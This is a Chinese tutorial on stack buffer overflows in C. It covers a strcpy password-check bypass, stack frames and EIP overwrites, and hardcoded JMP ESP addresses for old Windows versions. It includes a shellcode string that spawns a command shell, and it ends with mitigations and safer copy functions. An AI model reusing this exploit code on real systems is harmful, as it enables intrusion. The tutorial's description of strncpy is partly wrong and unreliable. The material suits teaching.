百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

C|缓冲区溢出的简单实例与原理分析

toyiye 2024-09-08 10:00 4 浏览 0 评论

1 一个简单溢出的实例

先不说概念和原理,看一个实例:

#include <stdio.h>
#include <string.h>
#define PASS_WORD "1234567"
int verify_password(char * password)
{
	int authentitated;
	char buffer[8];
	authentitated = strcmp(password,PASS_WORD); //如果两个字符串相等,返回值是0
	strcpy(buffer,password);//溢出后authentitated为非0
	return authentitated;
}
int main()
{
	int valid_flag = 0;
	char password[1024] = {0};
	while (1)
	{
		printf("please input password:");
		scanf("%s",password); //如果输入任意的8个字符,最后一个字符会溢出,举出的字符会占用authentitated的空间
		valid_flag = verify_password(password);
		if(valid_flag)
		{
			printf("incorrect password!\r\n");
		}
		else
		{
			printf("Congratulation ! you have passed the verification !\r\n");
		}
	}
	return 0;
}

以上代码是说输入密码1234567,验证通过,但是因为代码的漏洞,如果输入任意的8个字符,也会验证通过。为什么?

1)main函数输入password,调用verify_password函数验证输入的password是否等于1234567,相等返回0,否则返回1。

2)strcpy函数存在不检查输入数据的长度的漏洞。

3)利用缓冲区溢出,修改authentitated值,完成验证。

在verify_password栈帧中:

-----------------
| buffer |
-----------------
| authenticated |
-----------------
| EBP |
-----------------

authenticated位于buffer[8]的下方。

authenticated是int型,在内存中占4个字节。

buffer[8]占8个字节。

控制buffer[]填满8个字节,然后越界1个字节,缓冲区溢出,使得原authenticated的1覆盖为0,返回通过。

2 缓冲区和缓冲区溢出

2.1 缓冲区

缓冲区就是应用程序用来保存用户输入输出的数据、临时存放数据的内存空间。

2.2 缓冲区溢出

如果用户输入的数据长度超出了程序为其分配的内存空间,这些数据就会覆盖程序为其它数据分配的内存空间,形成缓冲区溢出。如果程序存在缓冲区溢出的漏洞,用户向程序传递一个走出其长度的字符串时,如果不是刻意构造的字符串,一般只会出现分段错误Segmentation fault),而不能达到攻击的目的。如果攻击者通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

缓冲区溢出主要可以分成三种:静态数据溢出、栈溢出和堆溢出。产生这三种不同的溢出根源在于win的内存结构;windows会把4G内存分成代码区、数据区、堆区、栈区。数据区存储的是进程的全局变量。如果利用这里的数据进行缓冲区溢出那么就被称为静态数据溢出。同样利用栈区和堆区进行缓冲区溢出,则相应被称作栈溢出和堆溢出。静态数据溢出虽然技术难度低但是灵活性和可以利用范围低,所以本文就不介绍了。堆溢出相对复杂,将在别的文章介绍。本文介绍的是windows下的栈溢出,想要知道WINDOWS下的栈溢出如何利用,首先要理解windows下的栈结构。

3 函数调用与栈机制

程序代码及数据在内存中的映像:

在C语言中,函数不能嵌套定义,但可以嵌套调用,当嵌套调用时,如何正确回溯到最初始调用点呢?(正如你去一个陌生的地方,经过了n个岔路口,如何回到原点呢?)C编译器利用栈这个机制来确保正确的回溯。

3.1 栈

栈其实是一种数据结构,它遵从先进后出的原则。这个先进后出的意思也很简单,就是说先存储进去的数据,会被放在最里边,而后面存入的,则依次向外,所以最先进去的,最后才能出来。进出都是同一个出口。

形象一点说,就好比箱子放书,最先放进去的书总在最下面,而后面的书叠在上面。想要去最底层的书,就必须吧上面的书取出来。

1)栈是一块连续的内存空间

a 先入后出;

b 生长方向与内存的生长方向正好相反, 从高地址向低地址生长;

2) 每一个线程有自己的栈

a 提供一个暂时存放数据的区域

3) 使用 POP / PUSH 指令来对栈进行操作

4) 使用 ESP 寄存器指向栈顶,EBP 指向栈帧底

3.2 栈内容

1)函数的参数;

2) 函数返回地址;

3)EBP 的值;

4)一些通用寄存器 ( EDI , ESI … ) 的值;

5)当前正在执行的函数的局部变量;

3.3 三个重要的寄存器

1SP ( ESP )

即栈顶指针,随着数据入栈出栈而发生变化。

2BP ( EBP )

即基地址指针,用于标识栈中一个相对稳定的位置。通过 BP ,可以方便地引用函数参数以及局部变量。

3IP ( EIP )

即指令寄存器,在将某个函数的栈帧压入栈中时,其中就包含当前的 IP 值,即函数调用返回后下一个执行语句的地址。缓冲区溢出攻击就是要利用溢出来修改EIP的地址值。

3.4 函数调用过程

1)把参数压入栈;

2)保存指令寄存器中的内容,作为返回地址;

3)放入堆栈当前的基址寄存器;

4)把当前的栈指针 ( ESP )拷贝到基址寄存器,作为新的基地址;

5)为本地变量留出一定空间,把 ESP 减去适当的数值;

3.5 函数调用中栈的工作过程

1)调用函数前压入栈

a 上级函数传给函数的参数;

b 返回地址 ( EIP );

c 当前的 EBP;

d 函数的局部变量;

2)调用函数后

a 弹出各局部变量值;

a 恢复 EBP;

b 恢复 EIP;

看下面实例:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int BFunc(int i,int j)
{
 int m = 1;
 int n = 2;
 m = i;
 n = j;
 return m;
}
int AFunc(int i,int j)
{
 int m = 3;
 int n = 4;
	char szBuf[8] = {0};
	printf("%d,%d\n",n,m);
	char bufof[]="12345678nnnnmmmm";
	strcpy(szBuf,bufof);
	printf("%d,%d\n",n,m);
 m = i;n = j;
 BFunc(m,n);
 return 8;
}
int main()
{
 AFunc(5,6);
	system("pause");
 return 0;
}
/*
4,3
1852730990,1835887981
*/

以上bufofsfug[]溢出的8个字节的长度将邻近的两个变量覆盖掉了。如果其长度超过16个字符以后,会提示出错,为什么,因为它要以不正确的值来覆盖ESP、EIP的值。如果巧妙得以一个合法的值来覆盖EBP、EIP,会怎样呢?

4 栈缓冲区溢出的利用

可以利用覆盖EIP的值为JMP ESP来跳转到我们的ESP指针所指向的地址。

JMP ESP的值是不确定的,当然有些版本是固定的。

这里JMP ESP的地址,会由于操作系统版本的不同而不一样。比如在Win2000的User32.dll中,JMP ESP指令的地址分别为:sp0:0x77e2e32a、sp1:0x77e8898b、sp2:0x77e0492b、sp3:0x77e188a7、sp4:0x77e22c75。以前很多攻击利用程序需要带上对方版本的参数,就是这个原因。win7可以利用0x7ffa4512这个地址。

#include "stdio.h" 
#include "string.h" 
#include "stdlib.h" 
#include "windows.h"
char exp[] = "abcdefss" //充8字节把缓冲区填满
"AAAA" //ebp填掉
"\x05\x10\x40\x00"; //func()函数地址,EIP覆盖成jmp esp的地址
//\x12\x45\xfa\x7f""; //也可以使用这个地址
void func(){
 MessageBoxA(0, "Buffer overflow attck!", "hack", 0);
}
int main()
{
	char output[8];
 strcpy(output,exp);
 int i=0;
 for(i=0;i<8&&output[i];i++)
 printf("\\0x%x",output[i]);
 printf("\n");
 return 0; 
}

也可以使用下面的方式:

#include "stdio.h" 
#include "string.h" 
#include "windows.h"
void func(){
 MessageBoxA(0, "Buffer overflow attck!", "hack", 0);
}
int main()
{
 char output[8] = {0};
 //int * 取地址,(int)强制转为int
 *(int *)((int)output+12) = (int)(int *) (func);
 return 0; 
}

一段代码可以可以伪装成一个字符串,称为shellcode:

#include <stdio.h>
#include <string.h>
char name[] =
"\x41\x41\x41\x41" 
"\x41\x41\x41\x41" //这里填充8字节把缓冲区填满 
"\x41\x41\x41\x41" //ebp填掉 
"\x12\x45\xfa\x7f" //eip覆盖成jmp esp的地址,这个是sp3下的地址 
"\x55\x8B\xEC\x33\xC0\x50\x50\x50" //这里开始就是shellcode
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56"
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
int main()
{
 char output[8];
 strcpy(output, name);
 for(int i=0;i<8&&output[i];i++)
 printf("\\0x%x",output[i]);
 return 0;
}

windows系统(xp sp2及win7以后)都内置了许多保护机制:

- Stack cookies (/GS Switch cookie)

- Safeseh (/Safeseh compiler switch)

- Data Execution Prevention (DEP) (software and hardware based)

- Address Space Layout Randomization (ASLR)

5 缓冲区溢出漏洞分析

C标准库<string.h>中的strcpy()是依据源串的\0作为结束判断的,不检查copy的Buffer的Size,如果目标空间不够,就有BufferOverflow问题。

目前,strncpy是字符串拷贝推荐的用法。

strncpy的原型为:

char * strncpy(char *dest, char *src, size_t n);

其将字符串src中最多n个字符复制到字符数组dest中(它并不像strcpy一样遇到NULL才停止复制,而是等凑够n个字符才开始复制),返回指向dest的指针,所以,用户定义好size,就没有bufferoverfolow的风险。

加_s版本则是从VS2005开始推出的安全版本,

而加_s版本之所以安全,是因为他们在接口增加了一个参数numElems来表明dest中的字节数,防止目标指针dest中的空间不够而导致出现Bug,同时返回值改成返回错误代码,而不是为了一些所谓的方便而返回char*。这样接口的定义就比原来安全很多。

但是,_s版本并不是标准库,所以,不推荐使用。

C标准库<string.h>中的还有一个memcpy()函数来进行数据的复制。

原型:extern void *memcpy(void *dest, void *src, unsigned int count);

功能:由src所指内存区域复制count个字节到dest所指内存区域。

说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。

由于字符串是以零结尾的,所以对于在数据中包含零的数据只能用memcpy。

性能上它们不一定有多大差别。

-End-

相关推荐

# Python 3 # Python 3字典Dictionary(1)

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中,格式如...

Python第八课:数据类型中的字典及其函数与方法

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值...

Python中字典详解(python 中字典)

字典是Python中使用键进行索引的重要数据结构。它们是无序的项序列(键值对),这意味着顺序不被保留。键是不可变的。与列表一样,字典的值可以保存异构数据,即整数、浮点、字符串、NaN、布尔值、列表、数...

Python3.9又更新了:dict内置新功能,正式版十月见面

机器之心报道参与:一鸣、JaminPython3.8的热乎劲还没过去,Python就又双叒叕要更新了。近日,3.9版本的第四个alpha版已经开源。从文档中,我们可以看到官方透露的对dic...

Python3 基本数据类型详解(python三种基本数据类型)

文章来源:加米谷大数据Python中的变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。在Python中,变量就是变量,它没有类型,我们所说的"类型"是变...

一文掌握Python的字典(python字典用法大全)

字典是Python中最强大、最灵活的内置数据结构之一。它们允许存储键值对,从而实现高效的数据检索、操作和组织。本文深入探讨了字典,涵盖了它们的创建、操作和高级用法,以帮助中级Python开发...

超级完整|Python字典详解(python字典的方法或操作)

一、字典概述01字典的格式Python字典是一种可变容器模型,且可存储任意类型对象,如字符串、数字、元组等其他容器模型。字典的每个键值key=>value对用冒号:分割,每个对之间用逗号,...

Python3.9版本新特性:字典合并操作的详细解读

处于测试阶段的Python3.9版本中有一个新特性:我们在使用Python字典时,将能够编写出更可读、更紧凑的代码啦!Python版本你现在使用哪种版本的Python?3.7分?3.5分?还是2.7...

python 自学,字典3(一些例子)(python字典有哪些基本操作)

例子11;如何批量复制字典里的内容2;如何批量修改字典的内容3;如何批量修改字典里某些指定的内容...

Python3.9中的字典合并和更新,几乎影响了所有Python程序员

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

Python3大字典:《Python3自学速查手册.pdf》限时下载中

最近有人会想了,2022了,想学Python晚不晚,学习python有前途吗?IT行业行业薪资高,发展前景好,是很多求职群里严重的香饽饽,而要进入这个高薪行业,也不是那么轻而易举的,拿信工专业的大学生...

python学习——字典(python字典基本操作)

字典Python的字典数据类型是基于hash散列算法实现的,采用键值对(key:value)的形式,根据key的值计算value的地址,具有非常快的查取和插入速度。但它是无序的,包含的元素个数不限,值...

324页清华教授撰写【Python 3 菜鸟查询手册】火了,小白入门字典

如何入门学习python...

Python3.9中的字典合并和更新,了解一下

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

python3基础之字典(python中字典的基本操作)

字典和列表一样,也是python内置的一种数据结构。字典的结构如下图:列表用中括号[]把元素包起来,而字典是用大括号{}把元素包起来,只不过字典的每一个元素都包含键和值两部分。键和值是一一对应的...

取消回复欢迎 发表评论:

请填写验证码